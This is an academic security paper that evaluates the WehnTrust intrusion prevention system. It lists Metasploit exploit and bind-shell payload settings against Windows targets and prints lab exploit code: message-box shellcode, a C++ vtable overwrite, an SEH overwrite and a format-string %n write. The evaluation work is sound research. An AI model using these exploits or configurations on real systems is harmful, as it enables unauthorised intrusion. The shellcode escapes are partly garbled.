任高明, 乔向东, 杨 仝, 白军亮
(空军工程大学电讯工程学院,陕西西安710077)
WehnTrust是一款由微软安全工程师研发的基于主机的入侵防御系统[1-4],其研发者声称WehnTrust主要具有3种特性:地址空间随机化[5-6]、防止SEH(即结构化异常处理)覆写攻击[7],防止格式化字符串[8-9]攻击,但WehnTrust的防御性能到底如何,却鲜有人给出书面性的测试报告。本文为了验证其防御能力,针对性地设计并模拟实现了3个实验,对此入侵防御系统的性能进行了测试。
图1 WehnTrust主界面
在WehnTrust的主页下载安装包及源代码,运行后界面如图1所示。WehnTrust采用visual studio 2008开发环境,包含7个项目:Common,de_DE,en_us,es_ES,NRER,WehnServ,WehnTrust。其中Common为静态库,de_DE,en_us,es_ES,NRER为动态链接库,而WehnServ,WehnTrust为应用程序。其中,NRER动态链接库的核心代码在3个源文件中:NRER.c,SEH.c,format.c。NRER.c负责完成地址空间随机化;SEH.c实现防止结构化异常处理攻击;format.c负责实现防止格式化串攻击。
可以看出,WehnTrust阻止攻击的主要功能是在NRER.dll实现的。但是,经过大量反复的调试、测试和源码分析,发现该动态链接库从未被调用,但是动态链接库已经生成。尝试使用动态加载和隐式调用两种方法,都以失败告终。所以,我们认为动态链接库NRER.dll本身的编写就有问题。这样,就有充足的理由怀疑其防御攻击的能力。为此,模拟了C++虚函数攻击、SEH攻击、格式化字符串攻击,对其进行测试。
为了验证WehnTrust是否对缓冲区溢出具有预期的防御和检测效果,搭建实验环境,完成了4类缓冲区溢出实验。
MetasploitFramework是一个开源攻击平台。我们尝试了几种攻击,下面是攻击过程说明,由于篇幅所限,只给出实验1的攻击成功界面截图。
(1)实验1:选取漏洞exploit为:windows/smb/ms08_067_netapi,选取有效载荷payload为windows/shell/bind_tcp;目标主机选择使用Windows XP SP1中文版。
攻击时,目标主机地址设置为200.200.200.66,目标端口设置为445,强制打开的端口设置为4444。
攻击成功界面如图2所示,已经进入了目标主机的命令提示符窗口,此时可以在目标主机上进行任意操作,说明攻击成功。安装WehnTrust后攻击还可以成功。
图2 攻击成功界面
(2)实验 2:选取漏洞 exploit为:windows/smb/psexec;选取有效载荷payload为:windows/shell/bind_tcp;目标主机使用Windows 2000中文版。安装WehnTrust后仍可以攻击成功。
(3)实验3:选取漏洞exploit为:windows/browser/ani_loadimage_chunksize;选取有效载荷payload为:windows/shell/bind_tcp;目标主机使用Windows XP SP1中文版。安装WehnTrust后仍可以攻击成功。
(4)实验4:选取漏洞exploit为:windows/browser/aim_goaway;选取有效载荷payload为:windows/shell/bind_tcp;目标主机使用Windows XP SP1中文版。安装WehnTrust后仍可以攻击成功。
(5)实验5:选取漏洞exploit为:windows/browser/aol_ampx_convertfile;选取有效载荷payload为:windows/shell/bind_tcp;目标主机使用Windows XP SP1中文版。安装WehnTrust后仍可以攻击成功。
上述5种成功的攻击实验,WehnTrust都不能阻止攻击行为,甚至根本无法发现。这样就验证了对其防御能力的怀疑。为了进一步确定我们的结论,模拟实现了 C++虚函数攻击、SEH覆写攻击、格式化字符串攻击,进行针对性测试。
首先编写一个通用的shellcode[10-11],下文中都将用到这个shellcode,它的功能是弹出一个对话框,显示字符串“success!”。
char shellcode[]=
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x65x73x73x21x68x73x75x63x63x8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90";
关于C++虚函数存在的漏洞,请参考相关文献,这里不再赘述。当内存中有多个虚表对象时,如果上一对象中的成员变量[12-13]发生溢出,能够有机会去修改下一对象的虚表指针,就可以通过人为修改,使程序在调用下一个对象的虚函数时,转而去执行设计好的shellcode。设计的源码的核心代码如下:
int*addr=(int*)(overflow.buf-4);
int*my_addr=(int*)(my_overflow.my_buf-4);
int addr_shellcode=(int)&shellcode;
int addr_proc=(int)&addr_shellcode;
*my_addr=addr_proc;
strcpy(overflow.buf,bufoverflow);
Cmy_test*p=&my_overflow;
p->my_test();
程序中通过addr=overflow.buf-4定位到虚表指针1;上一对象的成员变量向下溢出,使其精确地覆盖掉第2个对象的虚表指针,将其修改为定制的虚表地址;当程序调用第2个对象的虚函数时,会找到伪造的虚表地址,进而找到定制的shellcode,并执行它。本过程如图3所示。
实验环境为:WindowsXPSP2,VisualC++6.0Debug版本。按照上述的环境运行,可以得出的结果如图4所示。
安装WehnTrust后,WehnTrust修改了注册表,并生成了系统目录下的驱动文件baserand.sys,此时,不能阻止实验成功。重启计算机后,实验不能成功。删除baserand.sys,再次重启计算机后,实验可以正常进行,WehnTrust并不能阻止,由此可以说明,正是baserand.sys阻止了实验的正常进行。
关于SEH攻击[14]的详细原理,请参考相关文献。本次实验使用的shellcode1中的“…shellcode…”部分为上文用到的shellcode内容。测试代码如下:
图3 攻击C++虚函数过程
图4 C++虚函数攻击成功界面
char shellcode1[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"… shellcode…"
"x90x90x90x90"
"x98xFEx12x00";//shellcode1的地址
void test(shellcode1)
{char buf[200];
int zero=0;
__try
{strcpy(buf,shellcode1);
zero=4/zero; }
__except(MyExceptionhandler()){} }
对代码说明如下:
(1)函数test()中使用了函数strcpy()创造一个典型的栈溢出漏洞;除零操作zero=4/zero会产生一个异常。
(2)由于函数中使用了_try{}_except{},编译器将会在test的函数栈帧中安装一个SEH结构来实现异常处理。
(3)当strcpy操作没有产生溢出时,除零操作的异常将最终被MyExceptionhandler函数处理。
(4)当strcpy操作产生溢出,并精确地将栈帧中的SEH异常处理句柄修改为shellcode的入口地址时,操作系统将会错误地使用shellcode去处理除零异常。
本实验的关键在于确定栈帧中SEH回调句柄的偏移,然后布置缓冲区,精确地淹没这个位置,将该句柄修改为shellcode的起始位置。使用环境为:Windows2000,VisualC++6.0Release版本。SEH攻击过程如图5所示,攻击成功界面如图6所示。
图5 SEH攻击过程
图6 SEH攻击成功界面
安装WehnTrust后的实验结果与攻击C++虚函数的实验结果相同,也就是说,baserand.sys驱动文件阻止了攻击行为。
格式化字符串漏洞[15]的有关内容请参考相关文献。在本次实验中,采用最常用的printf()函数。源代码如下:
int p=111,q=222;
printf("p=%d,q=%b",p,q);
printf(" p=%d,q=%d,t=%d ");
int m=0;
printf("写入之前:m=%d ",m);
printf("success:%d%n ",m,&m);
printf("写入之后:m=%d ",m);
上面代码中,第1个printf()函数的调用是正确的,而第2个printf()函数则缺少了输出数据的变量列表。
本次实验环境为:WindowsXPSP2,Release版本。编译运行后,实验结果如图7所示。
图7 格式化串实验截图
第2个printf()函数编译器并没有报错,程序可以正常运行,但结果为“p=4223088,q=111,t=222”。使用OllyDbg调试后得到,第1次调用printf()时,参数按照从右向左的顺序入栈。第2次调用发生时,由于参数中少了数据列表部分,故只压入格式控制符参数。这时栈中状态如图8所示。
图8 printf调用时的内存格局
由于printf()函数调用时,没有给出“输出数据列表”,但系统仍按照“格式控制符”所指明的方式输出栈中紧随其后的两个DWORD。故4223088的十六进制形式为0x00407070,是指向格式控制符“p=%d,q=%d,t=%d ”的指针;111是残留下来的变量p的值,而222是残留下来的q的值。
第4个printf()函数中使用了控制符“%n”,此控制符用于把当前输出的所有数据的长度写入一个变量中去。这条语句会将调用最终输出的字符串长度写入变量m中,“success:0”长度为9,所以这次调用后m将被修改为9。安装上WehnTrust之后,程序依然可以运行,并且结果正常。此实验表明WehnTrust并不能阻止格式化串攻击。格式化串漏洞原理如图9所示。
图9 格式化串漏洞原理
通过对WehnTrust源码的分析及调试,使用缓冲区溢出工具 Metasploit Framework进行了 5种攻击实验,并针对WehnTrust所具有的特性,设计了3种针对性的攻击实验,可以得出如下结论:8次攻击实验,只有两次攻击被baserand.sys阻止,但WehnTrust没有检测到攻击行为;删除baserand.sys后,WehnTrust没有任何防御攻击的能力。因此,可以看出,WehnTrust并不完全具备其研发者所声称的防御特性,只能的阻止部分攻击。尽管如此,但该开源项目所提出的思想及设想很有价值,对其进行研究并在此基础上开发、扩展,将是下一步的工作重点。
[1]wehnus.WehnTrust[OL].http://www.wehnus.com/products.pl,2006.
[2]吴海燕,蒋东兴,程志锐,等.入侵防御系统研究[J].计算机工程与设计,2007,28(24):5844-5866.
[3]李小平,王意洁,王勇军.入侵防御系统的研究与设计[J].微计算机信息,2006,22(11-3):88-90.
[4]Wang Jie,Zheng Xiao,Liu Ya-bin.Complete rule base of intrusion prevention system[J].Computer Engineering and Application,2009,45(9):88-91.
[5]ShachamH.Ontheeffectivenessofaddress-spacerandomization[C].Washington,DC:Proceedings of the 11th ACM Conference on Computer and Communications Security,2004:53-61.
[6]LiLixin,JamesE just.Address-spacerandomization for windows systems[C].Virginia:Defense Advanced Research Project Agency,2007:72-79.
[7]Nagy B.SEH(structured exception handling)security changes in XP SP2 and SP1[C].Phoenix:eEye Digital Security,2006:60-66.
[8]James E S,Ravi N.Virtual machines versatile platforms for systems and process[M].San Francisco:Morgan Kaufmann,2006:12-49.
[9]Wei Li,Tzi-cker Chiueh.Automated format string attack prevention for Win32/X86 binaries[C].Miami:23rd Annual Computer Security Applications Conference,2007:398-407.
[10]王清.0day安全:软件漏洞分析技术[M].北京:电子工业出版社,2008:72-79.
[11]Meyers S.More effective C++[M].北京:电子工业出版社,2006:77-94.
[12]Roos T,Wetting H,Grunwald P.On discriminative bayesian network classifiers and logistic regression[J].Machine Learning,2005,59(3):267-296.
[13]CWE,Vulnerability type distributions in CVE[OL].http://cwemitre.org/documents/vulntrends/index.htm#introduction,2007.
[14]Pietrek,Matt.A crash course on the depths of Win32 structured exception handling[OL].http://www.microsoft.com/msj/0197/exception/excep-tion.aspx,2006.
[15]Chen S,Tang Y,Stateful D.Dos attacks and targeted filtering[J].Journal of Networking and Computer Applications,2007,30(3):20-26.